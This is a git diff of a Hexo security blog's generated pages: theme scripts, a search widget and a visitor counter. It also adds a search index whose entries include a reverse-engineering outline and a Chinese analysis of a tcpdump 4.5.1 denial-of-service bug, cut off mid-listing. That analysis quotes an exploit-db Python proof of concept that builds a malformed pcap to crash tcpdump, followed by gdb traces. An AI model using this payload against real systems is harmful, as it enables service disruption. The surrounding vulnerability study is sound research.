+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">14.9k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
+
+
+
+
+
+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
+    <span class="site-uv">
+      <i class="fa fa-user"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
+      
+    </span>
+  
+
+  
+    <span class="site-pv">
+      <i class="fa fa-eye"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
+      
+    </span>
+  
+</div>
+
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+
+
+        
+      </div>
+    </footer>
+
+    
+      <div class="back-to-top">
+        <i class="fa fa-arrow-up"></i>
+        
+      </div>
+    
+
+    
+
+  </div>
+
+  
+
+<script type="text/javascript">
+  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
+    window.Promise = null;
+  }
+</script>
+
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+  
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+  
+  
+    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
+  
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+  
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+    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
+  
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
+
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+  
+  
+
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+  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
+
+
+
+  
+
+  
+
+
+  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  
+
+
+
+
+	
+
+
+
+
+
+  
+
+
+
+
+
+  
+
+
+
+
+
+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://aimingoo.github.io/gitmint/style/default.css">
+        <script src="https://aimingoo.github.io/gitmint/dist/gitmint.browser.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
+
+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
+            acl.setPublicReadAccess(true);
+            acl.setPublicWriteAccess(true);
+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
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diff --git a/search.xml b/search.xml
index 105aeabc..6339bdef 100644
--- a/search.xml
+++ b/search.xml
@@ -1,5 +1,16 @@
 <?xml version="1.0" encoding="utf-8"?>
 <search>
+  <entry>
+    <title><![CDATA[逆向工程实验]]></title>
+    <url>%2F2019%2F03%2F28%2F%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C%2F</url>
+    <content type="text"><![CDATA[软件保护方式 功能限制 时间限制 运行时长限制 使用日期限制 使用次数限制 警告窗口 分析工具 静态分析工具 IDA W32Dasm lordPE Resource Hacker 动态分析工具 OllyDbg WinDbg 对抗分析技术 反静态分析技术 花指令 自修改代码技术 多态技术 变形技术 虚拟机保护技术 反动态分析技术 检测调试状态 检测用户态调试器 检测内核态调试器 其他方法：父进程检测；StartupInfo 结构；时间差；通过Trap Flag检测 发现调试器后的处理 程序自身退出 向调试器窗口发送消息使调试器退出 使调试器窗口不可用 终止调试器进程]]></content>
+      <categories>
+        <category>-二进制</category>
+      </categories>
+      <tags>
+        <tag>-逆向</tag>
+      </tags>
+  </entry>
   <entry>
     <title><![CDATA[小米路由器与Samba漏洞CVE-2017-7494]]></title>
     <url>%2F2019%2F03%2F25%2FSamba-CVE%2F</url>
@@ -68,7 +79,7 @@
     <url>%2F2018%2F12%2F25%2FTCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E%2F</url>
     <content type="text"><![CDATA[TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中，tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump；它需要WinPcap驱动，相当于在Linux平台下的libpcap. tcpdump能够分析网络行为，性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息，从而使用户能够进一步找出问题的根源。 也可以使用 tcpdump 的实现特定目的，例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量，如Telnet或HTTP的数据包，查看登录的用户名、密码、网址、正在浏览的网站内容，或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。 分析环境 Ubuntu 16.04.4 LTS i686 tcpdump 4.5.1 gdb with peda 漏洞复现这个漏洞触发的原因是，tcpdump在处理特殊的pcap包的时候，由于对数据包传输数据长度没有进行严格的控制，导致在连续读取数据包中内容超过一定长度后，会读取到无效的内存空间，从而导致拒绝服务的发生。对于这个漏洞，首先要对pcap包的结构进行一定的分析，才能够最后分析出漏洞的成因，下面对这个漏洞进行复现。 编译安装tcpdump12345678910111. # apt-get install libpcap-dev2. # dpkg -l libpcap-dev3. # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz4. # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz5. # cd tcpdump-4.5.1/6. # ./configure7. # make8. # make install9. # tcpdump –-version tcpdump version 4.5.1 libpcap version 1.7.4 生成payload（来自exploit-db payload）12345678910111213141516171819202122232425262728293031323334# Exploit Title: tcpdump 4.5.1 Access Violation Crash# Date: 31st May 2016# Exploit Author: David Silveiro# Vendor Homepage: http://www.tcpdump.org# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz# Version: 4.5.1# Tested on: Ubuntu 14 LTSfrom subprocess import callfrom shlex import splitfrom time import sleepdef crash(): command = &apos;tcpdump -r crash&apos; buffer = &apos;\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff&apos; buffer += &apos;\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00&apos; buffer += &apos;\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00&lt;\x9c7@\xff\x00&apos; buffer += &apos;\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a&apos; buffer += &quot;\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&amp;\x80\x18\&apos;&quot; buffer += &quot;xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n&apos;, &apos;\x00\x00\x00\x00&quot; buffer += &apos;\x00\x00\x00\x00\x01\x03\x03\x04&apos; with open(&apos;crash&apos;, &apos;w+b&apos;) as file: file.write(buffer) try: call(split(command)) print(&quot;Exploit successful! &quot;) except: print(&quot;Error: Something has gone wrong!&quot;)def main(): print(&quot;Author: David Silveiro &quot;) print(&quot; tcpdump version 4.5.1 Access Violation Crash &quot;) sleep(2) crash()if __name__ == &quot;__main__&quot;: main() 崩溃分析pcap包格式首先来分析一下pcap包的格式，首先是pcap文件头的内容，在.h有所定义，这里将结构体以及对应变量含义都列出来。123456789struct pcap_file_header &#123; bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */&#125;; 看一下各字段的含义：123456789101112131415161718192021 magic： 4字节 pcap文件标识 目前为“d4 c3 b2 a1” major： 2字节 主版本号 #define PCAP_VERSION_MAJOR 2 minor： 2字节 次版本号 #define PCAP_VERSION_MINOR 4 thiszone：4字节 时区修正 并未使用，目前全为0 sigfigs： 4字节 精确时间戳 并未使用，目前全为0 snaplen： 4字节 抓包最大长度 如果要抓全，设为0x0000ffff（65535）， tcpdump -s 0就是设置这个参数，缺省为68字节 linktype：4字节 链路类型 一般都是1：ethernetstruct pcap_pkthdr &#123; struct timeval ts; /* time stamp */ bpf_u_int32 caplen; /* length of portion present */ bpf_u_int32 len; /* length this packet (off wire) */&#125;;struct timeval &#123; long tv_sec; /* seconds (XXX should be time_t) */ suseconds_t tv_usec; /* and microseconds */&#125;; ts： 8字节 抓包时间 4字节表示秒数，4字节表示微秒数 caplen：4字节 保存下来的包长度（最多是snaplen，比如68字节） len： 4字节 数据包的真实长度，如果文件中保存的不是完整数据包，可能比caplen大 其中len变量是值得关注的，因为在crash文件中，对应len变量的值为00 3C 9C 37这是一个很大的值，读取出来就是379C3C00，数非常大，实际上在wireshark中打开这个crash文件，就会报错，会提示这个数据包的长度已经超过了范围，而换算出来的长度就是379C3C00，这是触发漏洞的关键。 gdb调试首先通过gdb运行tcpdump，用-r参数打开poc生成的crash，tcp崩溃，到达漏洞触发位置1234567891011121314151617181920212223242526272829303132333435361. Program received signal SIGSEGV, Segmentation fault.2. [----------------------------------registers-----------------------------------]3. EAX: 0x14. EBX: 0x81e33bd --&gt; 0x05. ECX: 0x2e (&apos;.&apos;)6. EDX: 0x07. ESI: 0xbfffe201 (&apos;.&apos; &lt;repeats 14 times&gt;)8. EDI: 0xbfffe1db --&gt; 0x30303000 (&apos;&apos;)9. EBP: 0x1062110. ESP: 0xbfffe1ac --&gt; 0x8053caa (&lt;hex_and_ascii_print_with_offset+170&gt;: mov ecx,DWORD PTR [esp+0xc])11. EIP: 0x8053c6a (&lt;hex_and_ascii_print_with_offset+106&gt;: movzx edx,BYTE PTR [ebx+ebp*2+0x1])12. EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)13. [-------------------------------------code-------------------------------------]14. 0x8053c5d &lt;hex_and_ascii_print_with_offset+93&gt;: je 0x8053d40 &lt;hex_and_ascii_print_with_offset+320&gt;15. 0x8053c63 &lt;hex_and_ascii_print_with_offset+99&gt;: mov ebx,DWORD PTR [esp+0x18]16. 0x8053c67 &lt;hex_and_ascii_print_with_offset+103&gt;: sub esp,0x417. =&gt; 0x8053c6a &lt;hex_and_ascii_print_with_offset+106&gt;: movzx edx,BYTE PTR [ebx+ebp*2+0x1]18. 0x8053c6f &lt;hex_and_ascii_print_with_offset+111&gt;: movzx ecx,BYTE PTR [ebx+ebp*2]19. 0x8053c73 &lt;hex_and_ascii_print_with_offset+115&gt;: push edx20. 0x8053c74 &lt;hex_and_ascii_print_with_offset+116&gt;: mov ebx,edx21. 0x8053c76 &lt;hex_and_ascii_print_with_offset+118&gt;: mov DWORD PTR [esp+0x18],edx22. [------------------------------------stack-------------------------------------]23. 0000| 0xbfffe1ac --&gt; 0x8053caa (&lt;hex_and_ascii_print_with_offset+170&gt;: mov ecx,DWORD PTR [esp+0xc])24. 0004| 0xbfffe1b0 --&gt; 0xb7fff000 --&gt; 0x23f3c25. 0008| 0xbfffe1b4 --&gt; 0x126. 0012| 0xbfffe1b8 --&gt; 0x2f5967 (&apos;gY/&apos;)27. 0016| 0xbfffe1bc --&gt; 0x028. 0020| 0xbfffe1c0 --&gt; 0x029. 0024| 0xbfffe1c4 --&gt; 0x7ffffff930. 0028| 0xbfffe1c8 --&gt; 0x81e33bd --&gt; 0x031. [------------------------------------------------------------------------------]32. Legend: code, data, rodata, value33. Stopped reason: SIGSEGV34. hex_and_ascii_print_with_offset (ident=0x80c04af &quot;\n\t&quot;, cp=0x8204000 &lt;error: Cannot access memory at address 0x8204000&gt;,35. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:9136. 91 s2 = *cp++; 从崩溃信息来看，出错位置为s2 = cp++;崩溃原因为SIGSEGV，即进程执行了一段无效的内存引用或发生段错误。可以看到，问题出现在./print-ascii.c:91，而且此时指针读取[ebx+ebp2+0x1]的内容，可能是越界读取造成的崩溃。再结合源码信息可知，指针cp在自加的过程中访问到了一个没有权限访问的地址，因为这是写在一个while循环里，也就是是说nshorts的值偏大，再看nshorts怎么来的，由此nshorts = length / sizeof(u_short);可知，可能是函数传入的参数length没有控制大小导致，因此目标就是追踪length是如何传入的。我们通过bt回溯一下调用情况。123456789101112131. gdb-peda$ bt2. #0 hex_and_ascii_print_with_offset (ident=0x80c04af &quot;\n\t&quot;, cp=0x8204000 &lt;error: Cannot access memory at address 0x8204000&gt;,3. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:914. #1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af &quot;\n\t&quot;, cp=0x81e33bd &quot;&quot;, length=0xfffffff3) at ./print-ascii.c:1275. #2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 &lt;Gndo&gt;, h=0xbfffe40c, p=&lt;optimized out&gt;) at ./print-802_15_4.c:1806. #3 0x080a0aea in print_packet (user=0xbfffe4dc &quot; \023\036\b\300\034\005\b\001&quot;, h=0xbfffe40c, sp=0x81e33a8 &quot;@\377&quot;)7. at ./tcpdump.c:19508. #4 0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.89. #5 0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.810. #6 0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:156911. #7 0xb7de9637 in __libc_start_main (main=0x804a4c0 &lt;main&gt;, argc=0x3, argv=0xbffff6c4, init=0x80b1230 &lt;__libc_csu_init&gt;,12. fini=0x80b1290 &lt;__libc_csu_fini&gt;, rtld_fini=0xb7fea880 &lt;_dl_fini&gt;, stack_end=0xbffff6bc) at ../csu/libc-start.c:29113. #8 0x0804c245 in _start () 函数调用流程1234pcap_loop |----print_packet |-----hex_and_ascii_print |-------- hex_and_ascii_print_with_offset 由此可见，从main函数开始了一连串函数调用，git源码下来看看。tcpdump.c找到pcap_loop调用12345678910111213141516171. do &#123;2. status = pcap_loop(pd, cnt, callback, pcap_userdata);3. if (WFileName == NULL) &#123;4. /*5. * We&apos;re printing packets. Flush the printed output,6. * so it doesn&apos;t get intermingled with error output.7. */8. if (status == -2) &#123;9. /*10. * We got interrupted, so perhaps we didn&apos;t11. * manage to finish a line we were printing.12. * Print an extra newline, just in case.13. */14. putchar(&apos;n&apos;);15. &#125;16. (void)fflush(stdout);17. &#125; 设置断点之后查看一下该函数的执行结果 pcap_loop通过callback指向print_packet,来看一下它的源码1234567891011121314151617181920212223241. static void2. print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)3. &#123;4. struct print_info *print_info;5. u_int hdrlen;6. ++packets_captured;7. ++infodelay;8. ts_print(&amp;h-&gt;ts);9. print_info = (struct print_info *)user;10. /*11. * Some printers want to check that they&apos;re not walking off the12. * end of the packet.13. * Rather than pass it all the way down, we set this global.14. */15. snapend = sp + h-&gt;caplen;16. if(print_info-&gt;ndo_type) &#123;17. hdrlen = (*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo, h, sp);&lt;====18. &#125; else &#123;19. hdrlen = (*print_info-&gt;p.printer)(h, sp);20. &#125;21. putchar(&apos;n&apos;);22. --infodelay;23. if (infoprint)24. info(0);&#125; 同样设置断点看该函数是如何调用执行的 这是我们可以根据call的信息，计算出调用的函数名 其中(*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo,h,sp)指向ieee802_15_4_if_print 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767725. u_int26. ieee802_15_4_if_print(struct netdissect_options *ndo,27. const struct pcap_pkthdr *h, const u_char *p)28. &#123;29. printf(&quot;address : %x\n&quot;,p);30. u_int caplen = h-&gt;caplen; //传入的caplen，赋值给无符号整形变量caplen,且该值为831. int hdrlen;32. u_int16_t fc;33. u_int8_t seq;34. if (caplen &lt; 3) &#123; //不满足35. ND_PRINT((ndo, &quot;[|802.15.4] %x&quot;, caplen));36. return caplen;37. &#125;38. fc = EXTRACT_LE_16BITS(p);39. hdrlen = extract_header_length(fc);40. seq = EXTRACT_LE_8BITS(p + 2);41. p += 3;42. caplen -= 3;//此时caplen = 543. ND_PRINT((ndo,&quot;IEEE 802.15.4 %s packet &quot;, ftypes[fc &amp; 0x7]));44. if (vflag)45. ND_PRINT((ndo,&quot;seq %02x &quot;, seq));46. if (hdrlen == -1) &#123;47. ND_PRINT((ndo,&quot;malformed! &quot;));48. return caplen;49. &#125;50. if (!vflag) &#123;51. p+= hdrlen;52. caplen -= hdrlen;53. &#125; else &#123;54. u_int16_t panid = 0;55. switch ((fc &gt;&gt; 10) &amp; 0x3) &#123;56. case 0x00:57. ND_PRINT((ndo,&quot;none &quot;));58. break;59. case 0x01:60. ND_PRINT((ndo,&quot;reserved destination addressing mode&quot;));61. return 0;62. case 0x02:63. panid = EXTRACT_LE_16BITS(p);64. p += 2;65. ND_PRINT((ndo,&quot;%04x:%04x &quot;, panid, EXTRACT_LE_16BITS(p)));66. p += 2;67. break;68. case 0x03:69. panid = EXTRACT_LE_16BITS(p);70. p += 2;71. 